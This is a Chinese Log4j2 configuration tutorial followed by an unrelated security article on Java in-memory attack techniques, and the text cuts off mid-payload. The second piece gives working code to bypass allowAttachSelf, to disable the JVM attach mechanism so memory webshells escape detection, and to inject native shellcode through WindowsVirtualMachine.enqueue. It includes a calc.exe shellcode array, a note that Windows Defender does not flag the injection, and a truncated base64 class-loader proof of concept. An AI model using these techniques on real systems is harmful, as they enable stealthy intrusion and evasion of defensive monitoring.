<!--在数据库输出的Appender-->DataSourceConnectionFactoryDriverManagerPoolingDriverHTTPAppender <!--通过 HTTP 发送日志的Appender-->NoSqlAppender <!--将日志事件写入 NoSQL 数据库的Appender,当前存在 MongoDB 和 Apache CouchDB 的提供程序实现-->LoggersRoot <!--父Logger-->Logger <!--自定义子logger,会继承父logger的appender-->Configuration属性Attribute Name Descriptionadvertiser (可选)advertiser 插件名称,将用于广告各个 FileAppender 或 SocketAppender 配置。提供的唯一 advertiser 插件是“ multicastdns”。dest stderr 的“ err”,stdout 的“ out”,文件路径或 URL。monitorInterval 在检查文件配置是否更改之前必须经过的最短时间(以秒为单位)。name 配置的名称。packages 用逗号分隔的软件包名称列表,用于搜索插件。每个类加载器仅加载一次插件,因此更改此值可能对重新配置没有任何影响。schema 标识类加载器的位置,该位置用于定位 XML 模式以用于验证配置。仅在 strict 设置为 true 时有效。如果未设置,则不会进行任何模式验证。shutdownHook 指定在 JVM 关闭时 Log4j 是否应自动关闭。默认情况下,关闭钩子是启用的,但可以通过将此属性设置为“禁用”来禁用shutdownTimeout 指定关闭 JVM 时将关闭多少毫秒的附加程序和后台任务。默认值为零,这意味着每个追加程序都使用其默认超时,并且不 await 后台任务。并非所有的附加程序都将遵守此规则,这只是提示,而不是绝对的保证,关闭过程将不需要更长的时间。将此值设置得太低会增加丢失尚未写入最终目标的未决日志事件的风险。参见LoggerContext.stop(long, java.util.concurrent.TimeUnit)。 (如果 shutdownHook 设置为“禁用”,则不使用.)status 应该记录到控制台的内部 Log4j 事件的级别。此属性的有效值为“ trace”,“ debug”,“ info”,“ warn”,“ error”和“ fatal”。 Log4j 会将有关初始化,过渡和其他内部操作的详细信息记录到状态 Logger 中。如果需要对 log4j 进行故障排除,设置 status =“ trace”是您可以使用的首批工具之一。strict 启用严格 XML 格式的使用。 JSON 配置中不支持。verbose 在加载插件时启用诊断信息。ConsoleAppender属性:Parameter Name Type Descriptionfilter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。layout Layout 用于格式化 LogEvent 的 Layout。如果未提供任何布局,则将使用默认图案布局“%m%n”。follow boolean 标识附加程序是否通过配置后进行的 System.setOut 或 System.setErr 兑现 System.out 或 System.err 的重新分配。请注意,在 Windows 上,follow 属性不能与 Jansi 一起使用。不能直接使用。direct boolean 直接写入 java.io.FileDescriptor 并绕过 java.lang.System.out/.err。将输出重定向到文件或其他进程时,最多可以使性能提高 10 倍。在 Windows 上不能与 Jansi 一起使用。不能与关注一起使用。输出将不遵守 java.lang.System.setOut()/。setErr(),并且可能与多线程应用程序中 java.lang.System.out/.err 的其他输出交织在一起。自 2.6.2 起新增。请注意,这是一个新增功能,到目前为止,仅在 Linux 和 Windows 上使用 Oracle JVM 进行了测试。name String Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。target String “ SYSTEM_OUT”或“ SYSTEM_ERR”。默认值为“ SYSTEM_OUT”。FileAppender属性:Parameter Name Type Descriptionappend boolean 如果为 true-默认值,记录将附加到文件末尾。设置为 false 时,将在写入新记录之前清除文件。bufferedIO boolean 如果为 true-默认值,则记录将被写入缓冲区,并且当缓冲区已满或(如果设置了 InstantFlush 时)记录被写入时,数据将被写入磁盘。文件锁定不能与 bufferedIO 一起使用。性能测试表明,即使启用了 InstantFlush,使用缓冲 I/O 也会显着提高性能。bufferSize int 当 bufferedIO 为 true 时,这是缓冲区大小,默认值为 8192 字节。createOnDemand boolean 附加器按需创建文件。仅当日志事件通过所有过滤器并将其路由到此附加程序时,附加程序才创建文件。默认为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。fileName String 要写入的文件名。如果该文件或其任何父目录不存在,则将创建它们。immediateFlush boolean 设置为 true-默认值时,每次写操作后都会进行刷新。这将确保将数据写入磁盘,但可能会影响性能。JDBCAppender属性:Parameter Name Type Descriptionname String 需要。Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。bufferSize int 如果大于 0 的整数,这将导致附加程序缓冲日志事件并在缓冲区达到此大小时刷新。connectionSource ConnectionSource 需要。应从中检索数据库连接的连接源。tableName String 需要。要向其中插入日志事件的数据库表的名称。columnConfigs ColumnConfig[] 必需(和/或 columnMappings)。有关应将事件数据日志记录的列的信息以及如何插入该数据的信息。这由多个\ 元素表示。columnMappings ColumnMapping[] 必需(和/或 columnConfigs)。列 Map 配置列表。每列必须指定一个列名。每列都可以具有由其完全限定的类名指定的转换类型。默认情况下,转换类型为字符串。如果配置的类型与ReadOnlyStringMap/ThreadContextMap或ThreadContextStack分配兼容,则该列将分别用 MDC 或 NDC 填充(这是数据库特定的,他们如何处理插入 Map 或 List 值)。如果配置的类型与 java.util.Date 分配兼容,则日志时间戳记将转换为该配置的日期类型。如果配置的类型与 java.sql.Clob 或 java.sql.NClob 兼容,则格式化事件将分别设置为 Clob 或 NClob(类似于传统的 ColumnConfig 插件)。如果给定了 Literals 属性,则将在 INSERT 查询中按原样使用其值,而不会进行任何转义。否则,指定的布局或图案将转换为配置的类型并存储在该列中。immediateFail boolean 默认为false, 设置为 true 时,日志事件将不 await 尝试重新连接,如果 JDBC 资源不可用,日志事件将立即失败。 2.11.2 的新功能reconnectIntervalMillis long 默认为5000,如果设置为大于 0 的值,则在发生错误后,JDBCDatabaseManager 将在 await 指定的毫秒数后尝试重新连接到数据库。如果重新连接失败,则将引发异常(如果将 ignoreExceptions 设置为 false,则应用程序可以捕获该异常)。 2.11.2 中的新功能PatternLayout的pattern参数:符号 描述%d 表示时间,默认情况下表示打印完整时间戳 2012-11-02 14:34:02,123,可以调整 %d 后面的参数来调整输出的时间格式,格式为%d{HH:mm:ss}%p 表示输出日志的等级,可以使用 %highlight{%p} 来高亮显示日志级别%c 用来输出类名,默认输出的是完整的包名和类名,%c{1.} 输出包名的首字母和完整类名%t 表示线程名称%m 表示日志内容,%M 表示方法名称%n 表示换行符%L 表示打印日志的代码行数%msg 日志文本%-5level 输出日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0、%logger 输出logger名称,因为Root Logger没有名称,所以没有输出%F 输出所在的类文件名,如:Log4j2Test.java详细配置信息可查看Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devMaven项目使用1、引入依赖<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.12.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.12.1</version> </dependency>2、可进行文件配置,也可直接使用(直接使用默认输出级别为Error)import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2HelloWorld { private static final Logger logger = LogManager.getLogger(Log4j2HelloWorld.class); public static void main(String[] args) { logger.error("This is a error"); } }SpringBoot整合Log4j21、引入依赖由于SpringBoot默认使用SLF4J+LogBack,所以如果要使用Log4j2,就需要从spring-boot-starter-web中去掉spring-boot-starter-logging依赖,同时引入Log4j2的依赖jar包。<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <!-- 去掉默认配置 --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- 引入log4j2依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>2、定义配置文件(不做展示)3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }———————————————— 原文链接:https://blog.csdn.net/qq_53998646/article/details/129999120
-
前言Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS、RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上,我分享了《Java内存攻击技术漫谈》的议题,个人觉得PPT承载的信息比较离散,技术类的内容还是更适合用文章的形式来分享,所以一直想着抽时间写一篇和议题配套的文章,不巧赶上南京的新冠疫情,这篇文章拖了一个多月才有时间写。allowAttachSelf绕过Java的instrument是Java内存攻击常用的一种机制,instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许SelfAttach:Attach API cannot be used to attach to the current VM by default The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change. 也就是说,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效。编写一个demo尝试attach自身PID,提示Can not attach to current VM,如下:经过分析attch API的执行流程,定位到如下代码:由上图可见,attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC: Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF"); field.setAccessible(true); Field modifiersField=Field.class.getDeclaredField("modifiers"); modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL); field.setBoolean(null,true);由于ALLOW_ATTACH_SELF字段有final修饰符,所以在修改ALLOW_ATTACH_SELF值的同时,也需要把它的final修饰符给去掉(修改的时候,会有告警产提示,不影响最终效果,可以忽略)。修改后,可以成功attach到自身进程,如下图:这样,我们就成功绕过了allowAttachSelf的限制。内存马防检测随着攻防热度的升级,内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类:Agent型利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。非Agent型通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。由于内存马技术的火热,内存马的检测也如火如荼,针对内存马的检测,目前业界主要有两种方法:基于反射的检测方法该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。基于instrument机制的检测方法该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。首先,我们先分析一下instrument的工作流程,如下图:检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;Server端会把Client发过来的AttachOperation对象放入一个队列;Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。由于该套流程的具体实现在不同的操作系统平台上略有差异,因此接下来我分平台来展开。windows平台通过分析定位到如下关键代码:可以看到当var5不等于0的时候,attach会报错,而var5是从var4中读取的,var4是execute的返回值,跟入execute,如下:可以看到,execute方法又把核心工作交给了方法enqueue,这个方法是一个native方法,如下图:继续跟入enqueue方法:可以看到enqueue中封装了一个DataBlock对象,里面有几个关键参数:strcpy(data.jvmLib, "jvm");strcpy(data.func1, "JVM_EnqueueOperation");strcpy(data.func2, "_JVM_EnqueueOperation@20");以上操作都发生在Client侧,接下来我们转到Server侧,定位到如下代码:这段代码是把Client发过来的对象进行解包,然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API:GetModuleHandle、GetProcAddress,这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数,这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。到这里我想大家应该知道接下来该怎么做了,那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉,不就可以成功把instrument的流程给破坏掉了么?静态分析结束了,接下来动态调试Server侧,定位到如下位置:图中RIP所指即为JVM_EnqueueOperation函数的入口,我们只要让RIP执行到这里直接返回即可:怎么修改呢?当然是用JNI,核心代码如下:unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);} /*unsigned char buf[]="\xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}*/注意这里要考虑32位和64位的区别,同时要注意堆栈平衡,否则可能会导致进程crash。到此,我们就实现了Windows平台上的内存马防检测(Anti-Attach)功能,我们尝试用JProfiler连接试一下,可见已经无法attach到目标进程了:以上即是Windows平台上的内存马防检测功能原理。Linux平台在Linux平台,instrument的实现略有不同,通过跟踪整个流程定位到如下代码:可以看到,在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach:到此,我们就实现了Linux平台上的内存马防检测(Anti-Attach)功能,当然其他*nix-like的操作系统平台也同样适用于此方法。最后说一句,内存马防检测,其实可以在上述instrument流程图中的任意一个环节进行破坏,都可以实现Anti-Attach的效果。Java原生远程进程注入在Windows平台上,进程代码注入有很多种方法,最经典的方法要属CreateRemoteThread,但是这些方法大都被防护系统盯得死死的,比如我写了如下一个最简单的远程注入shellcode的demo:往当前进程里植入一个弹计算器的shellcode,编译,运行,然后意料之中出现如下这种情况:但是经过分析JVM的源码我发现,在Windows平台上,Java在实现instrument的时候,出现了一个比较怪异的操作。在Linux平台,客户端首先是先和服务端协商一个IPC通道,然后后续的操作都是通过这个通道传递AttachOperation对象来实现,换句话说,这中间传递的都是数据,没有代码。但是在Windows平台,客户端也是首先和服务端协商了一个IPC通道(用的是命名管道),但是在Java层的enqueue函数中,同时还使用了CreateRemoteThread在服务端启动了一个stub线程,让这个线程去在服务端进程空间里执行enqueue操作:这个stub执行体pCode是在客户端的native层生成的,生成之后作为thread_func传给服务端。但是,虽然stub是在native生成的,这个stub却又在Java层周转了一圈,最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。这样就形成了一个完美的原生远程进程注入,构造如下POC:import java.lang.reflect.Method; public class ThreadMain { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess=-1; //hProcess=getHandleByPid(30244); byte buf[] = new byte[] //pop calc.exe { (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; String cmd="load";String pipeName="test"; m.setAccessible(true); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:"+result); } } Thread.sleep(4000); } public static long getHandleByPid(int pid) { Class cls= null; long hProcess=-1; try { cls = Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("openProcess")) { m.setAccessible(true); Object result=m.invoke(cls,pid); System.out.println("pid :"+result); hProcess=Long.parseLong(result.toString()); } } } catch (Exception e) { e.printStackTrace(); } return hProcess; }}编译,执行:成功执行shellcode,而且Windows Defender没有告警,天然免杀。毕竟,谁能想到有着合法签名安全可靠的Java.exe会作恶呢:)至此,我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。冰蝎3.0中提供了一键cs上线功能,采用的是JNI机制,中间需要上传一个临时库文件才能实现上线。现在利用这个技术,可以实现一个JSP文件或者一个反序列化Payload即可上线CS:自定义类调用系统Native库函数在上一小节Java原生远程进程注入中,我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类,然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑,这个Native方法位于attach.dll,这个dll是JDK和Server-JRE默认自带的,但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar?因为有些JDK环境是没有tools.jar的。当然,这个担心是没必要的。我们只要自己写一个类,类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问,我们自己写一个sun.tools.attach.VirtualMachineImpl类,但是如果某个目标里确实有tools.jar,那我们自己写的类在加载的时候就会报错,有没有一个更通用的方法呢?当然还是有的。其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。比如我们自定义如下这个类:package sun.tools.attach; import java.io.IOException;import java.util.Scanner; public class WindowsVirtualMachine { static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args) throws IOException; static native long openProcess(int pid) throws IOException; public static void run(byte[] buf) { System.loadLibrary("attach"); try { enqueue(-1, buf, "test", "test", new Object[]{}); } catch (Exception e) { e.printStackTrace(); } }}然后把这个类编译成class文件,把这个文件用Base64编码,然后写到如下POC里:import java.io.*;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.security.Permission;import java.util.Arrays;import java.util.Base64; public class Poc { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) { try { String classStr="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